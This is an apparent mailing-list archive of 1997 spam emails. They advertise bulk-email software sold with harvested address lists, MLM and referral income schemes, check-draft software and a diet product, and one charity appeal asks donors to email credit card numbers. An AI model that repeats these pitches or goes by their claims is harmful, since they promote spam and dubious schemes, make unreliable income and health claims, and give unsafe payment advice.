To: waeho@vol.cz
Subject: Earn Big $$ Through Bulk Email
Message-ID: <199709271621OAA12908@vol.net>
MIME-Version: 1.0
Content-Type: text/plain


Does the idea of sending 200,000+ E-mail messages per hour excite you? Does having access to tens of millions of E-mail addresses  excite you? Does having access to free unlimited technical support excite you? If you have a product, service, MLM, business opportunity, or an interest in starting a new home-based business, it should! Announcing the Goldrush Stealth Mass E-Mailer with unlimited access to tens of millions of Email addresses!!!!

With one computer running   you could be making a killing selling via E-mail! Imagine if you sent your ad to 100,000 people and only 1 in a thousand purchased your product or service. That's 100 people giving you money for 30 minutes of work! Now imagine if you got a one percent response, 1000 people paying for your product or service.  I am sure you are starting to realize the potential here.  Bulk Email is completely legal and is done by fortune 500 companies everyday.  Now this incredible technology is available to you. 

With our service you also have access to our databases of tens of millions of E-mail addresses.  We are continually updating the databases weekly.  Many people pay upwards of $100 per 100,000 Email addresses.  With our service whenever you need more addresses you simply go to our website and download the addresses.  We are dealing with some of the biggest mailers in the country and are continually receiving and cleaning our lists.  That is how  we can offer  you unlimited addresses indefinitely.  It's that simple..

The amazing Stealth Mass Mailer uses multi-tasking capabilities to open many connections to the mail server(s) of your choice. This allows you with just one connection,  to send your sales letter to a staggering number of people in a very short period of time! Our software  has truly revolutionized the bulk E-mail business overnight.  No longer do you have to spend thousands of dollars to purchase and use this technology. 

You probably think a software program as sophisticated as the Stealth Mass Mailer would be difficult to learn to use, right? WRONG!!! Novices can learn to use the Stealth in 15 minutes or less. It was designed with the novice in mind, and comes complete with technical support available 12 hours a day.   It is so simple, we will have you up and running in just a few minutes.  And if you want to target all the Email addresses in your local area we have a supplemental program available that will allow you to extract addresses of people in your immediate area.  And remember, if you have any questions you can always call us for tech support.

The Stealth Mass Mailer is normally sold for $600.00, but for a limited time we are offering this truly amazing software for only $350.00!!!  If you are  offering something of interest, you'll make back the cost of the Stealth with your first bulk mailing.  Needless to say many of us are making a fortune on the Internet and now you can too!!  We can even suggest many products and services that do well on the net, or we can help you develop a sales letter for your existing company or  product.

Interested? You can download our demo version and be trained on the software before you even purchase.  Of course, the demo version is just that and will not send mass quantities of mail.  We're confident that  once you see for yourself just how easy  it is to use our software and download our files containing  millions of E-mail addresses you will want to purchase the full version of Goldrush and gain access to our databases immediately!

If you feel you have a legitimate interest in purchasing or discussing our software and/or  have questions about our E-mail addresses or  technical support  please call 904-788-3455. We will be glad to help you.  Our  hours of operation are from 10:00am - 10:00pm Monday - Friday EST. Thank you for your time.

Big $$ Th




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MyFriends@aol.com
Date: Sat, 27 Sep 1997 22:51:13 -0700 (PDT)
To: MyFriends@aol.com
Subject: Mass E-Mailers Beware!
Message-ID: <199709280551.WAA17764@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bulk E-Mail Is Here To Stay, If You Do It The Right Way!

If you have a business, or thinking about starting one, you 
shouldn't be without NetTunnel 1.0.  It's an awesome extractor and
explosive bulk e-mailer in one.  It's the most affordable, 
easiest and user friendly software program on the market.  Hands down!

Why wait for someone to knock on your door when you can knock on 
theirs.  There's NO better way to get your product or service before 
millions of eager buyers, instantly.
 
Here's what you need to bulk e-mail, the right way...

Tool box includes:

*NetTunnel!  A powerful extractor and bulk e-mailer...$197.00

*25 million "Hot", deliverable e-mail addresses on disk...$187.00

*All the tips & tricks of bulk e-mailing...$25.00

*Unlimited, old fashion tech support...$95.00

Total cost is $504.00.  If you order before October 2, 1997,
all of the above is yours for only $347.00.  That's correct!!!  Only
$347.00.  If you order within the next 48 hours we'll deduct an 
additional $50.00.  Your complete bulk e-mail tool kit is yours 
for only $297.00.  That's if you order within the next 48 hours.   
Only $297.00.   
======================================================
If you can find a better bulk e-mail bargain anywhere on the Internet, 
we'll give you every product and service we offer for free.  We mean it!
======================================================  
If you don't have time to do your own mass mailing, we can
do it for you.  Call TODAY for a price quote:  770.977.5363 
 
Please fill out form below and send check, cashiers check, money order 
or credit card information, to:
--------------------------------------------------------------------------------------
NetTunnel
2100 Roswell Rd.
Ste. 200-C
Marietta, GA  30062

Form (print clearly):

Name_____________________________________________________

Address___________________________________________________

City____________________________________ State______________

Zip Code____________________  Country_______________________

Telephone Number(s)_________________________________________

E-mail Address______________________________________________

Check one:

Check (  )    Cashiers Check (  )    Money Order (  )

Master Card (  )    Visa (  )    American Express (  ) 

Account Number ---------------____________________________________________

Expiration Date ______/_______

For next day U.S delivery, please include an additional $15.00.  
For all other orders, please allow seven (7) days for delivery.
====================================================
For more information:
Call:  770.977.5363  
or E-mail:  nettunnel@mailexcite.com
====================================================
We are in the process of developing the following:

*A submission wizard by mid November.  It will submit your 
  Web site to all search engines with the push of a button.

*NetTunnel 2.0 by late October.  If you like 1.0, you're going to
  love 2.0.  We won't have any competition when 2.0 is released!!!

*And other awesome tools to carry your business into the next 
  century.

Our goal is to give you every tool you need to be the "David" 
over your competition, and become the next Nike of online 
marketing and promoting.  We plan on "Just Doing It".

PS    Allow us to become your online coach and life-long business
        partner.  Remember, your investment is only $297.00
        if you order within the next 48 hours.
  
 







----------------------- Headers --------------------------------
From: MyFriends@aol.com  Fri, Sep 28 12:55:40 1997
Return-Path: <MyFriends@aol.com>
Received: from  AOL.COM> (neits8.AOL.COM)
	  Fri, 28 Sep 1997 12:55:35 -0400 (EDT)
From: MyFriends@aol.com
Received: from AOL.COM> (neits8. AOL.COM)
 by. AOL.COM (PMDF V5.2-105 #201548)
 with SMTP id <iokjhygtfrdvdbnmklo@AOL.COM >for 
MyFriends@aol.com; Fri, 28 Sep 1997 12:55:01 EDT
Date: Fri, 28 Sep 1997 12:55:37 -0400 (EDT)
Date-warning: Date header was inserted by AOL.COM
Subject: Mass E-Mailers Beware!!
To: MyFriends@aol.com
Message-id: <MyFriends@aol.com>
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=ISO-53859-1
Content-Transfer-Encoding:  10bit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 4xwx@4xwxq6.net
Date: Sat, 27 Sep 1997 23:09:01 -0700 (PDT)
To: Friends@onthe.net
Subject: FREE SOFTWARE DOWNLOAD!!
Message-ID: <67818402_64538571>
MIME-Version: 1.0
Content-Type: text/plain



FREE Software Download!

Sell Internet Advertising With Your
Own Software, Instantly.

Best New Business Opportunity Of This Year.

Distribute software for new leading-edge Internet Site.  Personalized
software is provided to you - distribute the software and earn cash
directly to you for supplying unlock codes!

Be in business instantly and at very low cost, in the hottest markets
around -
	=> Internet Advertising
	=> Software Distribution

Be your own BOSS! No company, no hassle! Clients send money directly to you
for your unlock codes for their software!

See all details at:
Http://www.mlm1.com/admax/atlantic

After you look at this site, you can contact us free at 1-888-361-8044.

( If the site is busy, keep trying! )

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: United Eco-action Fund <admin@uneco.org>
Date: Sun, 28 Sep 1997 02:37:29 -0700 (PDT)
To: Greenwind 2000 <grapevine@uneco.org>
Subject: RETURN OF THE BUFFALO -AMERINDIAN GREENWIND
Message-ID: <v03110700b053b0d5fda7@[207.158.20.46]>
MIME-Version: 1.0
Content-Type: text/plain




Dear Friend,

VISIT US AT <http://www.uneco.org>.  YOU'LL FEEL AT HOME.

In the time it takes to enjoy a lark's happy song you'll know how to cross mighty waters to the land of well being and a bright future.  The earth is generous, but wounded.  She cries out for help.  We must rush to heal her, or, as sure as the eagle flies, death will descend upon us silently as snow in winter.  Set aside distractions.  Take time now.  Open your heart.

THE BUFFALO ARE COMING!

Put your ear to the earth. Listen carefully. Can you hear the mighty roar of ten million hooves?

The buffalo are coming, flattening the tall prairie grass.  Where empty land was lying fallow, rich grass grows again and the great American bison are returning.  

United Eco-action seeks to buy land to reunite the scattered tribes of the Great Plains through a vast "Wild Bison Preserve."  Help us give back some of what was unjustly taken in dishonorable breach of many treaties from the American Indian. Help us buy back buffalo land to restore American Indian culture.  Land where Tatanka (the buffalo) may roam proud and free once again.  Read on,  dear friend. There is much in all this for your happiness in the joy of restoring a safe future for all Americans.

PRINCESS DIANA AND MOTHER TERESA DID NOT DIE IN VAIN--
 A MEMORIAL

The recent death of two world-beloved women bowed much of humanity for a few days with emotions before the sublime greatness of charity and its fragrance of love as it protects life and peace. The futile agitation of daily life ceased briefly.  Many glimpsed the reality of inevitable death.  Aware of the eternity of the end, some focused on life and joy with a renewed sense of proportions.  Seeking true values. Tasting the glory of being alive.  Rejecting aimless consumerism.  Realists perhaps understood for the first time that love--love alone--justifies the gift of life and that rebirth (however one may understand it) is gained by renouncing selfishness and embracing the happiness of generosity.

REACHING OUT TO YOU WITH OPEN ARMS 

In this spirit United Eco-action Fund (UEF) reaches out to you, our friend, brother or sister, young or old, man or woman, rich or poor, to give to you and to ask from you.  We all belong to the same family living on one small and fragile planet.  

"For the first time in my life I saw the horizon as a curved line.
It was accentuated by a thin seam of dark blue light - our atmosphere.
Obviously, this was not the ocean of air I had been told it was
so many times in my life.
I was terrified by its fragile appearance." Ulf Merhold, German astronaut

UNITED ECO-ACTION'S TASK DEFINED

Grassroots groups initiate most of the major changes to stop environmental degradation worldwide.  People educating people, people acting on the belief that clean water, clean air, and a safe environment are their inalienable right.  From them the greenfire has spread to occupy the minds and influence the policies of people in government.

In the early 1900's, Gifford Pinchot, U.S. Secretary of Agriculture under Theodore Roosevelt, wrote:

"The central thing for which Conservation stands is to make this country the best possible place to live in, both for us and for our descendants...Conservation is the most democratic movement this country has known for a generation. It holds that people have not only the right, but the duty to control the use of natural resources, which are the great sources of prosperity.  And it regards absorption of these resources by special interests...as a moral wrong.  Conservation is the application of common-sense to common problems for the common good." The Fight for Conservation

THE SAME TASK DEFINED BY FIRST AMERICANS

"We did not inherit the earth from our parents.
We are borrowing it from our children." 
Native American saying

Like smoke signals, e-mail is, at best, but a limited exchange between distant members of one tribe.  Sometimes--just sometimes--a few words can lure our senses into sudden awareness. 
 
WHAT EVERYONE TODAY NEEDS TO KNOW

° The relationship between humanity and the earth is now in a state of rapidly increasing disequilibrium, approaching a critical point.  This fact is no longer seriously open to dispute. Misinformation sold by vested interests is forever dispelled by visible events themselves.

° Less than 3% of the earth's water is fresh water, and only a shrinking .01% of that is clean drinkable water--75% of which is used for irrigation. What is left must supply 5.5 billion people. 

° Only 5% of America's original forests remain standing.  

° "The cutting of primeval forest and other disasters, fueled by demands of growing human populations, are the overriding threat to biological diversity everywhere.  But the data that led to this conclusion, coming mainly from vertebrates and plants, understate the case...Patches of rain forest and coral reef harbor tens of thousands of species, even after they have declined to a remnant of the original wilderness.  But when the entire habitat is destroyed, almost all of the species are destroyed.  Not just eagles and pandas disappear but also the smallest, still unclassified invertebrates, algae, and fungi, the invisible players that make up the foundation of the ecosystem." Edward O. Wilson, The Diversity of Life.

°  Quarrying of coral, over fishing, and silting from tropical deforestation have caused extensive damage to almost 50% of earth's coral reefs.

°  Whether in the tropics or temperate zones, forests represent the single most important stabilizing feature of the earth's land surface, and they cushion us from the worst effects --particularly those associated with global warming--of the environmental crisis.

°  If destruction of the rain forest continues at the present rate, by the year 2022 50% of the remaining rain forest will be gone. 

°  The Aral Sea, once the world's fourth largest inland sea, was destroyed by dams and its 25,000 tons annual fish harvest vanished with it.

°  Misplanned California urban sprawl destroyed Owens Lake into an alkaline dustbowl and now threatens destruction of one of the most remarkable desert eco-systems:  Mono Lake.  Since 1941 Mono's level has dropped 41 feet; its shoreline is shrinking; its salts concentrating; its rich and delicate ecosystems failing.

°  The redwood forests once covered an area nearly a 1000 miles long and 100 miles deep on the Pacific Coast. Less than 3% is left, and they are still being cut.

°  The Rhine is the drinking water supply for 20,000,000 people, but on its shores 20% of the world's chemicals are produced, making it the dirtiest river in Europe. 

°  50% of Europe's remaining forests are dying.

°  In 1983 29% of Quebec maple trees were affected by acid rain.  By 1986 the figure was 80%.  Maple syrup may soon be just a memory.

°  The last gentle manatee in Florida are becoming extinct because of habitat loss and propeller kills.   

°  Up to 50,000 northern seals are killed each year by entanglement with plastic fishnets fragments and plastic debris.  

°  Vast acreages of monoculture doused with tons of inorganic fertilizers and pesticides are not sustainable.  Chemical agriculture mines the soil and poisons groundwater.

°  The National Academy of Science, in a report on alternative agriculture, concluded that farms planted with diverse crops can, with little or no chemicals, be as productive and more profitable than farms dependent on chemical pesticides and inorganic fertilizers.  Farmers who started thinking for themselves find it very simple. 

°  "Cancer circles"--regions with abnormally high incidences of the disease--are multiplying in America.  Cancer kills 1 in 4.

°  Waterborne disease kills 25,000,000 people annually, most of them children.

°  Many river dams, financed by The World Bank, are ecological disasters.

°  Of the 119 known pure pharmaceutical compounds used somewhere in the world, 88 were discovered through leads from traditional medicine.  The knowledge of all the world's indigenous cultures, if gathered and catalogued, would constitute a library of Alexandrian proportions.

°  "About four years ago...my older daughter Whitney was very ill with cancer.  She literally came within a few days of death.  She is here today, and she is a beautiful, fourteen-year-old, healthy, completely cured young lady.  Why?  The drug that saved her life was derived from a plant called the rosy periwinkle...a plant native to the island country of Madagascar.  The irony of this story is that 90% of the forest area of Madagascar has been destroyed.  100% of all native habitat of the rosy periwinkle is gone forever."  Jay D. Hair, president, National Wildlife Federation.

For pertinent literature on many other ecological issues, visit UEF's Bookstore:  <http://www.uneco.org/bookstore.html>

SOLUTIONS

"The battle we have fought, and are still fighting
is a part of the eternal conflict between right and wrong..."  John Muir

We must triple the pace of environmental protection to prevent catastrophic events.  Misinformation disseminated by vested interests, ignorance, and apathy are our greatest enemies.  The task is so immense that everyone is duty-bound to help with money, time, or both.

"If nothing else can unite us, the ecological crisis will."  Joseph Campbell

The dimensions of this planetary emergency are truly frightening.  We are at the turning point.  To leave the problem to the next generation would be criminal.  We must not condemn posterity to irretrievable desolation and suffering.  Everyone must learn the facts ASAP so that united we can restore balance.

REFUTING A THEOLOGICAL ERROR

THE JUDEO-CHRISTIAN BIBLE DOES NOT ISSUE A LICENSE TO DESTROY THE EARTH;
"DOMINION" OF GOD'S CREATION MEANS RESPONSIBLE STEWARDSHIP.

The duty to care for the earth is rooted in the fundamental relationship between God, creation, and humankind.  In the Book of Genesis, Judaism first taught that after God created the earth, He "saw that it was good."  In the Twenty-fourth Psalm, we learn that "the earth is the Lord's and the fullness thereof."  How can one glorify the Creator while heaping contempt on the creation?

THE BIBLE SHOWS GOD'S CONCERN FOR BIODIVERSITY

"But with thee I will establish my covenant... of every living thing of all flesh, two of every sort shalt thou bring into the ark, to keep them alive with thee; they shall be male and female.  Of fowls after their kind, and of cattle after their kind, of every creeping thing of the earth after his kind, two of every sort shall come unto thee, to keep them alive"   Genesis 6:18-20.  

Therefore, all Christians are duty-bound to actively help restore God's creation.


WHERE THERE IS POVERTY, LAND DEGRADATION FOLLOWS,
CAUSING MORE POVERTY--A VICIOUS CYCLE

Poverty and land degradation are curable in a well-governed technological world.  Poverty can and must be eliminated, while greed must be restrained and limited.  We are all responsible and in debt to the earth for every molecule of our being and for all our possessions.  Therefore, the least we must do is to invest 10% of our time, income, and assets to saving what is left and restoring what we have seriously damaged.

America, being the world's largest consumer, must be first to turn around and lead the planet into environmental balance and a sustainable economy.  If people everywhere consumed as much as the U.S. and Japan do, the planet could support only an additional 200,000,000.

UNITED ECO-ACTION FUND PROGRAMS

I.  CLEVELAND NATIONAL FOREST CONSERVATION FUND:
protecting one of the 18 most threatened regions on the planet
where unique specie are in greatest danger of extinction from human activity
( see UEF website at <http://www.uneco.org/cleveland_national_forest.html> )

In the first decade of this century President Theodore Roosevelt mandated protection of Southern California's wilderness by establishing the 2 million-acre Cleveland National Forest.  Since then government allowed 2/3 of this unique ecosystem to be quietly taken by invasive development.  

The Cleveland Forest still shelters one of America's greatest diversity of wildlife.  Majestic stands of cedar and fir bordering fragrant green meadows where scented multi-colored wildflowers bloom in spring and where in autumn live oak set up a blaze of color that flickers over a backdrop of pines.  Foxes bark and deer silently cross fields half hidden in the morning mist.  Golden eagles soar in the blue sky over the bountiful home of mountain lions.  It and other western forests must be saved.

United Eco-action Fund is working to implement the 1993 California voter mandate to protect this spectacular natural resource.  UEF seeks acquisition of privately owned wildlife habitat, and, where possible, the reopening of migration corridors.

II.  RETURN OF THE BUFFALO:
re-establishing the bison to the Great Plains
( visit <http://www.uneco.org/return_of_the_bison.html> )

The National Parks do not suffice as a means of perpetuating the larger carnivores.  The reasons for this are clear...The most feasible way to enlarge the area available for our wilderness fauna is for the wilder parts of the National Forests, which usually surround the Parks, to function as parks in respect to threatened species.  Aldo Leopold, A Sand Country Almanac

A program seeking international funding to create large wildlife preserves in Montana and Dakotas under Amerindian management to shelter and increase the last free buffalo herd being slaughtered by Montana ranchers as the animals migrate out of their Yellowstone Park shelter to escape loud snowmobile traffic.

III.  PRINCESS DIANA-MOTHER TERESA MEMORIAL PROGRAM:
formerly called "The Good Neighbor Program"
( go to: <http://www.uneco.org/Princess_Diana-Mother_Tere.html> )

In honor of Princess Diana and saintly Mother Teresa, United Eco-action Fund has renamed its GOOD NEIGHBOR PROGRAM the "Princess Diana and Mother Teresa Memorial Program," so that the love of these great women may continue to produce miracles of generosity toward the poor far into the future and help us save many children and suffering families.  

The original program, dedicated to alleviating the abject poverty of many Mexican children who collect broken glass in disease ridden garbage dumps without medical coverage, is being expanded to reach out as far as human generosity and love will allow. 

AN OPEN APPEAL FOR YOUR HELP

"In the end, we will conserve only what we love, 
we will love only what we understand, 
we will understand only what we are taught."
Senegalese conservationist Baba Dioum

Become part of United Eco-action Fund (UEF), an international grassroots organization, by contributing as a:

FRIEND (any amount)
SUPPORTER ($50)
DONOR ($100)
SPONSOR ($500)
BENEFACTOR ($1000)
PATRON (more than $1,000)

A donation in any amount will award you a place on the "Roster of American Wilderness Heritage Guardians," to be published internationally over the Internet.  All contributions are tax-deductible.

To send donations, use any of the following methods:

(1)	CHECK:  Make check to UNITED ECO-ACTION FUND.  Include your name, address, (e-mail), and phone number.  Mail check to:  United Eco-action Fund, P.O. Box 156, Descanso, CA 91916.

(2)	CREDIT CARD:  E-mail the following information to us at: <donation@uneco.org>. 
Credit Card:  Visa  Master Card (please indicate)
Credit Card #:
Expiration Date: 
Credit Card Statement Address and  Zip Code:
State the amount you authorize as a donation to United Eco-action Fund.
The above is treated with absolute confidentiality.  It is safer to use e-mail than the telephone.

(3)	BANK TRANSFER:  Transfer funds from your bank into UEF's bank account at Bank of America, La Mesa Main Office, 5500 Grossmont Center Drive, La Mesa  CA 91942, Account Number:  02310-10250.

(4)	CASH:  If you send cash, please enclose a note stating amount and your address so we may send your tax deductible receipt.  Mail to:  United Eco-action Fund, P.O. Box 156, Descanso, CA 91916.

You can also help further the programs of UEF by ordering books from our Internet Bookstore in association with Amazon.com.  Our bookstore is located at <http://www.uneco.org/bookstore.html>.  A percentage of price of all books ordered here will be donated to UDDERS.

DEFENDERS OF WILDERNESS:

"It does not suffice to have a few such societies [Sierra Club, Wilderness Society], 
nor can one be content that Congress has enacted a bill aimed at wilderness preservation...
A militant minority of wilderness citizens must be on watch 
throughout the nation and vigilantly available for action." Aldo Leopold

We are recruiting like-minded, dedicated individuals and groups to help implement our programs.  To become a spokesmen and volunteer for United Eco-action Fund, please e-mail us at:  <volunteers@uneco.org>.  We urge you to call on others to join you in this important task.

To be an active "Greenwind Friend" and earn an income by collaborating with UEF's international mission, e-mail your name, address, and phone to <income@uneco.org>. 

Visit <http://www.uneco.org> and learn more about the most important issue of our time.  

"This point is crucial:  
a choice to 'do nothing' in response to the mounting evidence
is actually a choice to continue and even accelerate 
the reckless environmental destruction that is creating 
the catastrophe at hand.  Vice-President AL Gore

Heart Greetings,


VIKTORIA VIDALI
Executive Director

United Eco-action Fund is a nonprofit, public benefit corporation whose primary mission is to protect wildlife habitat, to fund research, education, and to support programs that benefit the quality of human life by integrating diverse groups nationally and internationally.  UEF is a member of the congressionally created National Forest Foundation and Theodore Roosevelt Association.  Our extensive Internet site <http://www.uneco.org> displays the honorable roster of "American Wilderness Heritage Guardians," lists UEF's American and foreign advisors, the management team, and details our programs.  Visit our Internet bookstore in association with the largest book retailer on earth, Amazon. com.












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Senders@Domains.com (Senders)
Date: Sat, 27 Sep 1997 20:05:56 -0700 (PDT)
To: Senders@Domains.com
Subject: Accept Checks by Phone, Fax or E-Mail for FREE!
Message-ID: <199709272967PAA20177@post.ma.ultranet.com>
MIME-Version: 1.0
Content-Type: text/plain


Does your business accept checks?  
Print this document for your reference

************************************************************
Accept Checks by Phone, Fax and E-Mail for FREE!
************************************************************

Now you can start accepting checks by phone, fax and e-mail for your orders, payments, donations, deposits and collections.  

Mail order Businesses
Landlords
Catalog Sales
Subscription Services
Internet/Web Business
MLM

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Give your customers the convenience of ordering your products without ever having to address an envelope, lick a stamp, find a mailbox or even write out a check.

CLOSE SALES IMMEDIATELY!

COLLECT PAYMENTS IMMEDIATELY!

SuperCheck software allows you to print check drafts using your computer.  All you need is Windows 95 or NT and an ink-jet or laser printer to begin taking checks immediately.

IT IS VERY EASY:
Just put your customer check information into SuperCheck, hit print and it does the rest.  Your customers' payment is now available for immediate deposit.

NO MONTHLY FEES
NO SETUP CHARGES
NO MERCHANT ACCOUNT NECESSARY

SuperCheck Features:

-Efortless Double Click installation
-Easy to use advanced design
-Print Drafts
-Print Custom Deposit Slips
-Custom reports
-Use multiple databases to store all customer information
-Built in customer Note-Pad for account notes
-Automated monthly billing
-Advanced Password/Security Features
-Networkable
-Detailed manual tells you all you need to know about check acceptance
-Includes 50 sheets of  Security Bond Check Paper
-MONEY BACK GUARANTEE!

SuperCheck by MarketSoft is one of the most fully featured check systems on the market and is now being offered at  only $69.99!  DON'T SETTLE FOR LESS.   To order, call toll free at 1-888-734-7634. For more information, call customer service direct at 1-401-647-7113.  Our business hours are M-F 10-6 EST.

Send Information Requests to check-info@juno.com

Send Removal Requests to ListZapper@juno.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sales@thebestcoffee.com
Date: Sun, 28 Sep 1997 20:24:25 -0700 (PDT)
Subject: Estate Grown Coffee For Less !!!
Message-ID: <QQdjar05634.199709290316@pop1-wcom.uu.net>
MIME-Version: 1.0
Content-Type: text/plain



<P>Dear Online Coffee Drinkers, 

<P>I have the pleasure to introduce you to my online coffee site <A 
HREF="http://www.thebestcoffee.com/">http://www.thebestcoffee.com</A>, where 
you will find the highest quality estate grown coffee for the lowest 
possible price. To ensure quality I only roast grade one green beans from 
the finest estates worldwide.  

<P>I am proud to offer <B><FONT COLOR="RED">Dos Marias</FONT></B>and 
several other estate grown beans for <FONT COLOR="RED">prices you don't see 
in the store</FONT>. <B>You can see more about Dos Marias, the history of 
coffee, and some of my favorite coffee related recipes </B><FONT 
COLOR="RED"></FONT>on my site <A 
HREF="http://www.thebestcoffee.com/">http://www.thebestcoffee.com</A>If 
you're a coffee drinker or a restaurant owner I can provide you the absolute 
finest in gourmet coffee for less. I am so sure that my coffee is among some 
of the finest in the world, first time buyers receive a 10% discount on 
their order. I know you will be back for more. <P>

<P>Thank You
<P><A 
HREF="http://www.thebestcoffee.com/">http://www.thebestcoffee.com</A>


<P>To be removed from this mailing list please send an email with "REMOVE" 
in the subject field to remove@thebestcoffee.com<P>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MyFriends@aol.com
Date: Mon, 29 Sep 1997 00:45:03 -0700 (PDT)
To: MyFriends@aol.com
Subject: Bulk E-Mailers!
Message-ID: <199709290745.AAA00883@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bulk E-Mail Is Here To Stay, If You Do It The Right Way!

If you have a business, or thinking about starting one, you 
shouldn't be without NetTunnel 1.0.  It's an awesome extractor and
explosive bulk e-mailer in one.  It's the most affordable, 
easiest and user friendly software program on the market.  Hands down!

Why wait for someone to knock on your door when you can knock on 
theirs.  There's NO better way to get your product or service before 
millions of eager buyers, instantly.
 
Here's what you need to bulk e-mail, the right way...

Tool box includes:

*NetTunnel!  A powerful extractor and bulk e-mailer...$197.00

*25 million "Hot", deliverable e-mail addresses on disk...$187.00

*All the tips & tricks of bulk e-mailing...$25.00

*Unlimited, old fashion tech support...$95.00

Total cost is $504.00.  If you order before October 2, 1997,
all of the above is yours for only $347.00.  That's correct!!!  Only
$347.00.  If you order within the next 48 hours we'll deduct an 
additional $50.00.  Your complete bulk e-mail tool kit is yours 
for only $297.00.  That's if you order within the next 48 hours.   
Only $297.00.   
======================================================
If you can find a better bulk e-mail bargain anywhere on the Internet, 
we'll give you every product and service we offer for free.  We mean it!
======================================================  
If you don't have time to do your own mass mailing, we can
do it for you.  Call TODAY for a price quote:  770.977.5363 
 
Please fill out form below and send check, cashiers check, money order 
or credit card information, to:
--------------------------------------------------------------------------------------
NetTunnel
2100 Roswell Rd.
Ste. 200-C
Marietta, GA  30062

Form (print clearly):

Name_____________________________________________________

Address___________________________________________________

City____________________________________ State______________

Zip Code____________________  Country_______________________

Telephone Number(s)_________________________________________

E-mail Address______________________________________________

Check one:

Check (  )    Cashiers Check (  )    Money Order (  )

Master Card (  )    Visa (  )    American Express (  ) 

Account Number ---------------____________________________________________

Expiration Date ______/_______

For next day U.S delivery, please include an additional $15.00.  
For all other orders, please allow seven (7) days for delivery.
====================================================
For more information:
Call:  770.977.5363  
or E-mail:  nettunnel@mailexcite.com
====================================================
We are in the process of developing the following:

*A submission wizard by mid November.  It will submit your 
  Web site to all search engines with the push of a button.

*NetTunnel 2.0 by late October.  If you like 1.0, you're going to
  love 2.0.  We won't have any competition when 2.0 is released!!!

*And other awesome tools to carry your business into the next 
  century.

Our goal is to give you every tool you need to be the "David" 
over your competition, and become the next Nike of online 
marketing and promoting.  We plan on "Just Doing It".

PS    Allow us to become your online coach and life-long business
        partner.  Remember, your investment is only $297.00
        if you order within the next 48 hours.
  
 







----------------------- Headers --------------------------------
From: MyFriends@aol.com  Mon, Sep 29 2:55:40 1997
Return-Path: <MyFriends@aol.com>
Received: from  AOL.COM> (neits8.AOL.COM)
	  Mon, 29 Sep 1997 2:55:35 -0400 (EDT)
From: MyFriends@aol.com
Received: from AOL.COM> (neits8. AOL.COM)
 by. AOL.COM (PMDF V5.2-105 #201548)
 with SMTP id <iokjhygtfrdvdbnmklo@AOL.COM >for 
MyFriends@aol.com; Mon, 29 Sept 1997 2:55:01 EDT
Date: Mon, 29 Sep 1997 2:55:37 -0400 (EDT)
Date-warning: Date header was inserted by AOL.COM
Subject: Bulk E-Mailers!
To: MyFriends@aol.com
Message-id: <MyFriends@aol.com>
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=ISO-53859-1
Content-Transfer-Encoding:  10bit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kposyov@freeyellow.com
Date: Mon, 29 Sep 1997 21:31:51 -0700 (PDT)
To: you@4yours.com
Subject: Last Call!!! (uce)
Message-ID: <62855905_44182223>
MIME-Version: 1.0
Content-Type: text/plain



"This is a ONE TIME MAILING ONLY! However, if you are 
NOT interested in being contacted via e-mail about similar 
products and services, we would CERTAINLY like to know 
about it.  Drop us a note by hitting REPLY. Thankyou."

Hello,
I want to introduce you to a new and proven money-making
program that is very easy to market, earns you $100 for 
each sale, and gives you the freedom to work from 
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selling and closing on your behalf! 

With the amazing portable communication power of the 
Internet, you're on your way to the financial freedom
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even your child! 

It's so simple. Just as I've referred many others, I'm 
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I'm able to take my laptop computer, which is paid 
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Now you can have the same! Really, how easy can it get? 
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"Just Call 1-800-811-2141 7am - 9pm MST
 You MUST have this PASS CODE #45815"

Let's say you referred 20 people to this number...
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Now imagine if you referred 50! or 100! or 1000! These
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If you follow what I have just done, and present this
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Checks come out every Friday. You can have one in your 
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You can get started TODAY by securing your own PERSONAL
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 You MUST have this PASS CODE #45815"

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you are not satisfied, you get your money back. 

How can you lose? ...YOU'LL LOSE IF YOU DON'T MAKE THIS CALL!!!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: poguocou16@sprintmail.com (James)
Date: Tue, 30 Sep 1997 22:26:20 -0700 (PDT)
To: V.I.P.@OnTheNet.com
Subject: GET PAID $300.00 FOR GIVING AWAY TWO WAY HOME SECURITY SYSTEMS!!!
Message-ID: <199709303587EAA16358@post.a001.sprintmail.com>
MIME-Version: 1.0
Content-Type: text/plain


For removal, please put remove on subject line and email  me at
Success@Gosnet.com
*Don't press reply, it won't get back to me. Follow instructions
down below.

-How would you like to get paid $300.00 for giving 
  away a two way home security system valued at 
  $1,320.00. This system gives you so many options it is 
   incredible.

-How would you like to get paid $140.00 to $280.00 for each two 
  way home security system that your down line gives away.

-This opportunity is available now in your area. The only
  cost to start this incredible opportunity is a $94.00 start up kit.
  This includes your activation, home security(2 systems) , shipping,
   and handling fees.

*DON'T REPLY WITH YOUR REPLY BOTTON*
TO OBTAIN INFO ON THIS OPPORTUNITY:
1)Email me at user2384@xsend.com
  -Please Include name, PHONE #, and email address. Please include phone#!!!!!!!!!!
  -Please put "MORE INFO" ON SUBJECT LINE, if you don't the reply will take longer.

2) Call 805-961-3971 for a 24 hr. voice message for more details.

3)If email comes back undeliverable please leave message 
    at (805)675-8565.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phoenix@workload.com
Date: Wed, 3 Sep 1997 19:37:43 -0700 (PDT)
To: 5666@d564390.comcom
Subject: Wanted!!! Serious Dieters!!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


WANTED!!!!  SERIOUS DIETERS!!!!!

I am looking for people who are serious about losing weight, increasing their
energy level and feeling better than you have in your life. These  products
are safe and approved by the FDA.  Lose up to 30 lbs. in 30 Days 
.  

Id  love to talk with serious minded individuals who want a SAFE and 
